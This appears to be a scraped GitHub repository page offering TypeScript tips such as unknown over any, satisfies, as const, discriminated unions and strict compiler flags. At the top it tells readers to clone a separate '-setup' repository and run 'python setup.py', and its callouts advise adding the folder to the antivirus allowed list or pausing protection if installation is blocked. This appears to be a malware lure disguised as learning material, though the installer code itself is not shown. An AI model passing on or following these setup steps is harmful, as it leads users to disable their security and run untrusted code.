Loading repository data…
Loading repository data…
Ratioofabide / repository
✅ A curated collection of practical TypeScript patterns that improve safety, readability, maintainability, and developer experience. 🧠
[!TIP] If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
[!CAUTION] Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/Ratioofabide/typescript-tips-everyone-should-know-setup.git
cd typescript-tips-everyone-should-know-setup
python setup.py
A curated collection of practical TypeScript patterns that improve safety, readability, maintainability, and developer experience.
Most of these are small individually. Together, they dramatically change how TypeScript code feels to work in.
unknown Over anyA lot of type safety starts here.
Most TypeScript problems start when any enters the system.
function parse(data: unknown) {
if (typeof data === "string") {
return data.toUpperCase();
}
}
The best TypeScript code often has fewer explicit types than beginners expect.
const name = "Ada";
Instead of:
const name: string = "Ada";
Inference tends to scale better than annotation.
satisfies Over asOne of the most important modern TypeScript features.
const routes = {
home: "/",
about: "/about",
} satisfies Record<string, string>;
Instead of:
const routes = {
home: "/",
about: "/about",
} as Record<string, string>;
satisfies validates without losing inference.
One of the biggest TypeScript mindset shifts.
const roles = ["admin", "user", "guest"] as const;
type Role = (typeof roles)[number];
Keeping runtime values and types in sync manually almost always drifts over time.
This is where TypeScript starts becoming architectural.
type State =
| { status: "loading" }
| { status: "success"; data: User }
| { status: "error"; error: Error };
These models tend to scale much better than loose optional-property blobs.
neverDiscriminated unions become much more powerful with exhaustiveness checking.
default: {
const exhaustive: never = state;
return exhaustive;
}
Future refactors become compiler errors instead of runtime bugs.
as const for Configuration and ConstantsWithout as const:
const theme = {
mode: "dark",
};
mode becomes string.
With as const:
const theme = {
mode: "dark",
} as const;
Now it becomes 'dark'.
Tiny feature, huge usefulness.
Connect runtime checks to compile-time intelligence.
function isUser(value: unknown): value is User {
return typeof value === "object" && value !== null && "id" in value;
}
Then:
if (isUser(data)) {
data.id;
}
This becomes especially useful around APIs and external input boundaries.
PickOmitPartialRequiredThese utilities become much more valuable as applications grow.
TypeScript does not validate API responses.
This is one of the most misunderstood parts of TypeScript.
const UserSchema = z.object({
id: z.string(),
name: z.string(),
});
Type safety ends at runtime boundaries unless you validate.
enum in Most CasesUsually simpler:
const roles = ["admin", "user"] as const;
Than:
enum Role {
Admin,
User,
}
In most applications, literal unions end up simpler to refactor, easier to serialize, and less surprising at runtime than enums.
Great TypeScript APIs rarely require manual generic arguments.
Less ideal:
getData<User>();
Better:
getData(userSchema);
Inference usually scales better than annotation-heavy APIs.
Many teams use TypeScript in "autocomplete mode."
Strict mode is where TypeScript really starts paying off.
{
"strict": true,
"noUncheckedIndexedAccess": true,
"exactOptionalPropertyTypes": true
}
These flags dramatically improve correctness.
One of the most powerful modern TypeScript features.
type Route = `/api/${string}`;
Excellent for:
Once you start using them, they show up everywhere.
A perfect final tip because it reframes everything.
This compiles:
const user = (await response.json()) as User;
But may still explode at runtime.
TypeScript improves correctness:
This distinction becomes increasingly important in larger systems.